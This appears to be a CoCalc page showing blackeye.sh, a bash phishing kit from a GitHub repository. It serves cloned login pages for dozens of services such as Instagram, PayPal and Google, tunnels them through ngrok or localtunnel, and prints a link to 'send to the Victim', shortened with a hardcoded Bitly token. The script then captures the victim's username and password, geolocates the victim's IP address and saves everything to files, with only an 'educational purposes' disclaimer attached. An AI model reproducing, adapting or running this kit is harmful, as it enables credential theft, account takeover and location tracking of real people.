Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
thewickedkarma
GitHub Repository: thewickedkarma/blackeye-im
Path: blob/master/blackeye.sh
777 views
1
#!/bin/bash
2
3
# Upgraded by: @Git-Ankitraj (https://github.com/Git-Ankitraj/blackeye-im)
4
#Enhanced ngrok tunnelling
5
trap 'printf "\n";stop;exit 1' 2
6
menu() {
7
8
printf " \e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;91m Instagram\e[0m \e[1;92m[\e[0m\e[1;77m17\e[0m\e[1;92m]\e[0m\e[1;91m DropBox\e[0m \e[1;92m[\e[0m\e[1;77m33\e[0m\e[1;92m]\e[0m\e[1;91m eBay\e[0m \n"
9
printf " \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;91m Facebook\e[0m \e[1;92m[\e[0m\e[1;77m18\e[0m\e[1;92m]\e[0m\e[1;91m Line \e[0m \e[1;92m[\e[0m\e[1;77m34\e[0m\e[1;92m]\e[0m\e[1;91m Amazon\e[0m \n"
10
printf " \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;91m Snapchat\e[0m \e[1;92m[\e[0m\e[1;77m19\e[0m\e[1;92m]\e[0m\e[1;91m Shopify \e[0m \e[1;92m[\e[0m\e[1;77m35\e[0m\e[1;92m]\e[0m\e[1;91m iCloud\e[0m \n"
11
printf " \e[1;92m[\e[0m\e[1;77m04\e[0m\e[1;92m]\e[0m\e[1;91m Twitter\e[0m \e[1;92m[\e[0m\e[1;77m20\e[0m\e[1;92m]\e[0m\e[1;91m Messenger \e[0m \e[1;92m[\e[0m\e[1;77m36\e[0m\e[1;92m]\e[0m\e[1;91m Spotify\e[0m \n"
12
printf " \e[1;92m[\e[0m\e[1;77m05\e[0m\e[1;92m]\e[0m\e[1;91m Github\e[0m \e[1;92m[\e[0m\e[1;77m21\e[0m\e[1;92m]\e[0m\e[1;91m GitLab \e[0m \e[1;92m[\e[0m\e[1;77m37\e[0m\e[1;92m]\e[0m\e[1;91m Netflix\e[0m \n"
13
printf " \e[1;92m[\e[0m\e[1;77m06\e[0m\e[1;92m]\e[0m\e[1;91m Google\e[0m \e[1;92m[\e[0m\e[1;77m22\e[0m\e[1;92m]\e[0m\e[1;91m Twitch \e[0m \e[1;92m[\e[0m\e[1;77m38\e[0m\e[1;92m]\e[0m\e[1;91m Reddit\e[0m \n"
14
printf " \e[1;92m[\e[0m\e[1;77m07\e[0m\e[1;92m]\e[0m\e[1;91m Origin\e[0m \e[1;92m[\e[0m\e[1;77m23\e[0m\e[1;92m]\e[0m\e[1;91m MySpace \e[0m \e[1;92m[\e[0m\e[1;77m39\e[0m\e[1;92m]\e[0m\e[1;91m StackOverflow\e[0m \n"
15
printf " \e[1;92m[\e[0m\e[1;77m08\e[0m\e[1;92m]\e[0m\e[1;91m Yahoo\e[0m \e[1;92m[\e[0m\e[1;77m24\e[0m\e[1;92m]\e[0m\e[1;91m Badoo \e[0m \e[1;92m[\e[0m\e[1;77m40\e[0m\e[1;92m]\e[0m\e[1;91m Custom\e[0m \n"
16
printf " \e[1;92m[\e[0m\e[1;77m09\e[0m\e[1;92m]\e[0m\e[1;91m Linkedin\e[0m \e[1;92m[\e[0m\e[1;77m25\e[0m\e[1;92m]\e[0m\e[1;91m VK \e[0m \n"
17
printf " \e[1;92m[\e[0m\e[1;77m10\e[0m\e[1;92m]\e[0m\e[1;91m Protonmail\e[0m \e[1;92m[\e[0m\e[1;77m26\e[0m\e[1;92m]\e[0m\e[1;91m Yandex \e[0m \n"
18
printf " \e[1;92m[\e[0m\e[1;77m11\e[0m\e[1;92m]\e[0m\e[1;91m Wordpress\e[0m \e[1;92m[\e[0m\e[1;77m27\e[0m\e[1;92m]\e[0m\e[1;91m devianART \e[0m \n"
19
printf " \e[1;92m[\e[0m\e[1;77m12\e[0m\e[1;92m]\e[0m\e[1;91m Microsoft\e[0m \e[1;92m[\e[0m\e[1;77m28\e[0m\e[1;92m]\e[0m\e[1;91m Wi-Fi \e[0m \n"
20
printf " \e[1;92m[\e[0m\e[1;77m13\e[0m\e[1;92m]\e[0m\e[1;91m IGFollowers\e[0m \e[1;92m[\e[0m\e[1;77m29\e[0m\e[1;92m]\e[0m\e[1;91m PayPal \e[0m \n"
21
printf " \e[1;92m[\e[0m\e[1;77m14\e[0m\e[1;92m]\e[0m\e[1;91m Pinterest\e[0m \e[1;92m[\e[0m\e[1;77m30\e[0m\e[1;92m]\e[0m\e[1;91m Steam \e[0m \n"
22
printf " \e[1;92m[\e[0m\e[1;77m15\e[0m\e[1;92m]\e[0m\e[1;91m Apple ID\e[0m \e[1;92m[\e[0m\e[1;77m31\e[0m\e[1;92m]\e[0m\e[1;91m Tiktok \e[0m \n"
23
printf " \e[1;92m[\e[0m\e[1;77m16\e[0m\e[1;92m]\e[0m\e[1;91m Verizon\e[0m \e[1;92m[\e[0m\e[1;77m32\e[0m\e[1;92m]\e[0m\e[1;91m Playstation \e[0m \e[1;94m \n"
24
25
26
read -p $'\n\e[1;92m\e[0m\e[1;77m\e[0m\e[1;92m ┌─[ Choose an option:]─[~]
27
└──╼ ~ ' option
28
29
30
31
if [[ $option == 1 ]]; then
32
server="instagram"
33
start
34
35
elif [[ $option == 2 ]]; then
36
server="facebook"
37
start
38
elif [[ $option == 3 ]]; then
39
server="snapchat"
40
start
41
elif [[ $option == 4 ]]; then
42
server="twitter"
43
start
44
elif [[ $option == 5 ]]; then
45
server="github"
46
start
47
elif [[ $option == 6 ]]; then
48
server="google"
49
start
50
51
elif [[ $option == 7 ]]; then
52
server="origin"
53
start
54
55
elif [[ $option == 8 ]]; then
56
server="yahoo"
57
start
58
59
elif [[ $option == 9 ]]; then
60
server="linkedin"
61
start
62
63
elif [[ $option == 10 ]]; then
64
server="protonmail"
65
start
66
67
elif [[ $option == 11 ]]; then
68
server="wordpress"
69
start
70
71
elif [[ $option == 12 ]]; then
72
server="microsoft"
73
start
74
75
elif [[ $option == 13 ]]; then
76
server="instafollowers"
77
start
78
79
elif [[ $option == 14 ]]; then
80
server="pinterest"
81
start
82
83
elif [[ $option == 15 ]]; then
84
server="apple"
85
start
86
87
elif [[ $option == 16 ]]; then
88
server="verizon"
89
start
90
91
elif [[ $option == 17 ]]; then
92
server="dropbox"
93
start
94
95
elif [[ $option == 18 ]]; then
96
server="line"
97
start
98
99
elif [[ $option == 19 ]]; then
100
server="shopify"
101
start
102
103
elif [[ $option == 20 ]]; then
104
server="messenger"
105
start
106
107
elif [[ $option == 21 ]]; then
108
server="gitlab"
109
start
110
111
elif [[ $option == 22 ]]; then
112
server="twitch"
113
start
114
115
elif [[ $option == 23 ]]; then
116
server="myspace"
117
start
118
119
elif [[ $option == 24 ]]; then
120
server="badoo"
121
start
122
123
elif [[ $option == 25 ]]; then
124
server="vk"
125
start
126
127
elif [[ $option == 26 ]]; then
128
server="yandex"
129
start
130
131
elif [[ $option == 27 ]]; then
132
server="devianart"
133
start
134
135
elif [[ $option == 28 ]]; then
136
server="wifi"
137
start
138
139
elif [[ $option == 29 ]]; then
140
server="paypal"
141
start
142
143
elif [[ $option == 30 ]]; then
144
server="steam"
145
start
146
147
elif [[ $option == 31 ]]; then
148
server="tiktok"
149
start
150
151
elif [[ $option == 32 ]]; then
152
server="playstation"
153
start
154
155
elif [[ $option == 33 ]]; then
156
server="shopping"
157
start
158
159
elif [[ $option == 34 ]]; then
160
server="amazon"
161
start
162
163
elif [[ $option == 35 ]]; then
164
server="icloud"
165
start
166
167
elif [[ $option == 36 ]]; then
168
server="spotify"
169
start
170
171
elif [[ $option == 37 ]]; then
172
server="netflix"
173
start
174
175
elif [[ $option == 38 ]]; then
176
server="reddit"
177
start
178
179
elif [[ $option == 39 ]]; then
180
server="stackoverflow"
181
start
182
183
elif [[ $option == 40 ]]; then
184
server="create"
185
createpage
186
start
187
188
else
189
printf "\e[1;93m [!] Invalid option!\e[0m\n"
190
menu
191
fi
192
}
193
194
195
stop() {
196
197
checkngrok=$(ps aux | grep -o "ngrok" | head -n1)
198
checkphp=$(ps aux | grep -o "php" | head -n1)
199
checknode=$(ps aux | grep -o "node" | head -n1)
200
if [[ $checkngrok == *'ngrok'* ]]; then
201
pkill -f -2 ngrok > /dev/null 2>&1
202
killall -2 ngrok > /dev/null 2>&1
203
fi
204
if [[ $checkphp == *'php'* ]]; then
205
pkill -f -2 php > /dev/null 2>&1
206
killall -2 php > /dev/null 2>&1
207
fi
208
if [[ $checknode == *'node'* ]]; then
209
pkill -f -2 node > /dev/null 2>&1
210
killall -2 node > /dev/null 2>&1
211
fi
212
213
}
214
215
banner() {
216
217
218
printf " \e[101m\e[1;77m:: Disclaimer: Developers assume no liability and are not ::\e[0m\n"
219
printf " \e[101m\e[1;77m:: responsible for any misuse or damage caused by BlackEye. ::\e[0m\n"
220
printf " \e[101m\e[1;77m:: Only use for educational purporses!! ::\e[0m\n"
221
printf "\n"
222
printf " \e[101m\e[1;77m:: BLACKEYE-IM! By @The-Burning ::\e[0m\n"
223
printf "\n"
224
}
225
226
createpage() {
227
default_cap1="Wi-fi Session Expired"
228
default_cap2="Please login again."
229
default_user_text="Username:"
230
default_pass_text="Password:"
231
default_sub_text="Log-In"
232
233
read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Title 1 (Default: Wi-fi Session Expired): \e[0m' cap1
234
cap1="${cap1:-${default_cap1}}"
235
236
read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Title 2 (Default: Please login again.): \e[0m' cap2
237
cap2="${cap2:-${default_cap2}}"
238
239
read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Username field (Default: Username:): \e[0m' user_text
240
user_text="${user_text:-${default_user_text}}"
241
242
read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Password field (Default: Password:): \e[0m' pass_text
243
pass_text="${pass_text:-${default_pass_text}}"
244
245
read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Submit field (Default: Log-In): \e[0m' sub_text
246
sub_text="${sub_text:-${default_sub_text}}"
247
248
echo "<!DOCTYPE html>" > sites/create/login.html
249
echo "<html>" >> sites/create/login.html
250
echo "<body bgcolor=\"gray\" text=\"white\">" >> sites/create/login.html
251
IFS=$'\n'
252
printf '<center><h2> %s <br><br> %s </h2></center><center>\n' $cap1 $cap2 >> sites/create/login.html
253
IFS=$'\n'
254
printf '<form method="POST" action="login.php"><label>%s </label>\n' $user_text >> sites/create/login.html
255
IFS=$'\n'
256
printf '<input type="text" name="username" length=64>\n' >> sites/create/login.html
257
IFS=$'\n'
258
printf '<br><label>%s: </label>' $pass_text >> sites/create/login.html
259
IFS=$'\n'
260
printf '<input type="password" name="password" length=64><br><br>\n' >> sites/create/login.html
261
IFS=$'\n'
262
printf '<input value="%s" type="submit"></form>\n' $sub_text >> sites/create/login.html
263
printf '</center>' >> sites/create/login.html
264
printf '<body>\n' >> sites/create/login.html
265
printf '</html>\n' >> sites/create/login.html
266
267
268
}
269
270
catch_cred() {
271
272
account=$(grep -o 'Account:.*' sites/$server/usernames.txt | cut -d " " -f2)
273
IFS=$'\n'
274
password=$(grep -o 'Pass:.*' sites/$server/usernames.txt | cut -d ":" -f2)
275
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m]\e[0m\e[1;92m Account:\e[0m\e[1;77m %s\n\e[0m" $account
276
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m]\e[0m\e[1;92m Password:\e[0m\e[1;77m %s\n\e[0m" $password
277
cat sites/$server/usernames.txt >> sites/$server/saved.usernames.txt
278
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Saved:\e[0m\e[1;77m sites/%s/saved.usernames.txt\e[0m\n" $server
279
killall -2 php > /dev/null 2>&1
280
killall -2 ngrok > /dev/null 2>&1
281
killall -2 node > /dev/null 2>&1
282
exit 1
283
284
}
285
286
getcredentials() {
287
echo ' '
288
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Waiting credentials ...\e[0m\n"
289
while [ true ]; do
290
291
292
if [[ -e "sites/$server/usernames.txt" ]]; then
293
printf "\n\e[1;93m[\e[0m*\e[1;93m]\e[0m\e[1;92m Credentials Found!\n"
294
catch_cred
295
296
fi
297
sleep 1
298
done
299
300
301
}
302
303
catch_ip() {
304
touch sites/$server/saved.usernames.txt
305
ip=$(grep -a 'IP:' sites/$server/ip.txt | cut -d " " -f2 | tr -d '\r')
306
IFS=$'\n'
307
ua=$(grep 'User-Agent:' sites/$server/ip.txt | cut -d '"' -f2)
308
ipv4=`curl -s https://ipinfo.io/$ip/json | jq -r '.ip'`
309
cn=`curl -s https://ipapi.co/$ip//json | jq -r '.country_name'`
310
re=`curl -s https://ipapi.co/$ip//json | jq -r '.region'`
311
ct=`curl -s https://ipapi.co/$ip//json | jq -r '.city'`
312
post=`curl -s https://ipapi.co/$ip//json | jq -r '.postal'`
313
loc=`curl -s https://ipinfo.io/$ip/json | jq -r '.loc'`
314
org=`curl -s https://ipinfo.io/$ip/json | jq -r '.org'`
315
tz=`curl -s https://ipinfo.io/$ip/json | jq -r '.timezone'`
316
lat=`curl -s https://ipapi.co/$ip/json/ | jq -r '.latitude'`
317
lon=`curl -s https://ipapi.co/$ip/json/ | jq -r '.longitude'`
318
319
gm=`echo "https://www.google.com/maps/search/?api=1&query="$lat,$lon`
320
321
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] IPv6:\e[0m\e[1;77m %s\e[0m\n" $ip
322
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] User-Agent:\e[0m\e[1;77m %s\e[0m\n" $ua
323
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Country:\e[0m\e[1;77m %s\e[0m\n" $cn
324
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Region:\e[0m\e[1;77m %s\e[0m\n" $re
325
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] City:\e[0m\e[1;77m %s\e[0m\n" $ct
326
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Postal:\e[0m\e[1;77m %s\e[0m\n" $post
327
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Location:\e[0m\e[1;77m %s\e[0m\n" $loc
328
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Maps:\e[0m\e[1;77m %s\e[0m\n" $gm
329
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] ISP:\e[0m\e[1;77m %s\e[0m\n" $org
330
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Timezone:\e[0m\e[1;77m %s\e[0m\n" $tz
331
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Saved:\e[0m\e[1;77m %s/saved.ip.txt\e[0m\n" $server
332
cat sites/$server/ip.txt >> sites/$server/saved.ip.txt
333
334
335
336
337
getcredentials
338
}
339
start() {
340
printf "\n"
341
printf "1.Ngrok\n"
342
printf "2.Localtunnel\n"
343
echo ""
344
read -p $'\n\e[1;92m\e[0m\e[1;77m\e[0m\e[1;92m ┌─[ Choose the tunneling method:]─[~]
345
└──╼ ~ ' host
346
347
if [[ $host == 1 ]]; then
348
sleep 1
349
start_ngrok
350
elif [[ $host == 2 ]]; then
351
sleep 1
352
start_localtunnel
353
fi
354
}
355
356
start_ngrok() {
357
if [[ -e sites/$server/ip.txt ]]; then
358
rm -rf sites/$server/ip.txt
359
360
fi
361
if [[ -e sites/$server/usernames.txt ]]; then
362
rm -rf sites/$server/usernames.txt
363
364
fi
365
366
367
if [[ -e ngrok ]]; then
368
echo ""
369
else
370
371
printf "\e[1;92m[\e[0m*\e[1;92m] Downloading Ngrok...\n"
372
arch=$(uname -a | grep -o 'arm' | head -n1)
373
arch2=$(uname -a | grep -o 'Android' | head -n1)
374
if [[ $arch == *'arm'* ]] || [[ $arch2 == *'Android'* ]] ; then
375
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip > /dev/null 2>&1
376
377
if [[ -e ngrok-stable-linux-arm.zip ]]; then
378
unzip ngrok-stable-linux-arm.zip > /dev/null 2>&1
379
chmod +x ngrok
380
rm -rf ngrok-stable-linux-arm.zip
381
else
382
printf "\e[1;93m[!] Download error... Termux, run:\e[0m\e[1;77m pkg install wget\e[0m\n"
383
exit 1
384
fi
385
386
387
388
else
389
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip > /dev/null 2>&1
390
if [[ -e ngrok-stable-linux-386.zip ]]; then
391
unzip ngrok-stable-linux-386.zip > /dev/null 2>&1
392
chmod +x ngrok
393
rm -rf ngrok-stable-linux-386.zip
394
else
395
printf "\e[1;93m[!] Download error... \e[0m\n"
396
exit 1
397
fi
398
fi
399
fi
400
401
printf "\e[1;92m[\e[0m*\e[1;92m] Starting php server...\n"
402
cd sites/$server && php -S 127.0.0.1:5555 > /dev/null 2>&1 &
403
sleep 2
404
printf "\e[1;92m[\e[0m*\e[1;92m] Starting ngrok server...\n"
405
./ngrok http 127.0.0.1:5555 > /dev/null 2>&1 &
406
sleep 10
407
408
link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io")
409
printf "\e[1;92m[\e[0m*\e[1;92m] Send this link to the Victim:\e[0m\e[1;77m %s\e[0m\n" $link
410
Accesstoken=433bdc6028d67bba06cf95286e923cde8c0906c7
411
api=https://api-ssl.bitly.com/v4/shorten
412
short_link=`curl -s -H Authorization:\ $Accesstoken -H Content-Type: -d '{"long_url": "'"$link"\"} $api | jq -j .link | xsel -ib; xsel -ob;`
413
printf "\e[1;92m[\e[0m*\e[1;92m] Use shortened link instead:\e[0m\e[1;77m %s\e[0m\n" $short_link
414
echo ""
415
echo ""
416
417
checkfound
418
}
419
start_localtunnel() {
420
if [[ -e sites/$server/ip.txt ]]; then
421
rm -rf sites/$server/ip.txt
422
423
fi
424
if [[ -e sites/$server/usernames.txt ]]; then
425
rm -rf sites/$server/usernames.txt
426
427
fi
428
429
printf "\e[1;92m[\e[0m*\e[1;92m] Starting php server...\n"
430
cd sites/$server && php -S 127.0.0.1:5555 > /dev/null 2>&1 &
431
sleep 2
432
433
printf "\e[1;92m[\e[0m*\e[1;92m] Starting localtunnel server...\n"
434
./ngrok http 127.0.0.1:5555 > /dev/null 2>&1 &
435
sleep 8
436
lt --port 5555 --subdomain wmw-$server-com > /dev/null 2>&1 &
437
sleep 4
438
printf "\e[1;92m[\e[0m*\e[1;92m] Send this link to the Victim:\e[0m\e[1;77m %s\e[0m\n" "https://wmw-"$server"-com.loca.lt"
439
short_link=`wget -q -O - http://tinyurl.com/api-create.php?url=https://wmw-$server-com.loca.lt`
440
printf "\e[1;92m[\e[0m*\e[1;92m] Use shortened link instead:\e[0m\e[1;77m %s\e[0m\n" $short_link
441
echo ""
442
echo ""
443
444
checkfound
445
}
446
447
checkfound() {
448
449
450
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Waiting victim open the link ...\e[0m\n"
451
while [ true ]; do
452
453
454
if [[ -e "sites/$server/ip.txt" ]]; then
455
printf "\n\e[1;92m[\e[0m*\e[1;92m] IP Found!\n"
456
catch_ip
457
458
fi
459
sleep 1
460
done
461
462
}
463
rm -rf setup.sh
464
rm -rf tmxsp.sh
465
rm -rf index.html
466
rm -rf .gitignore
467
rm -rf .nojekyll
468
banner
469
menu
470
471
472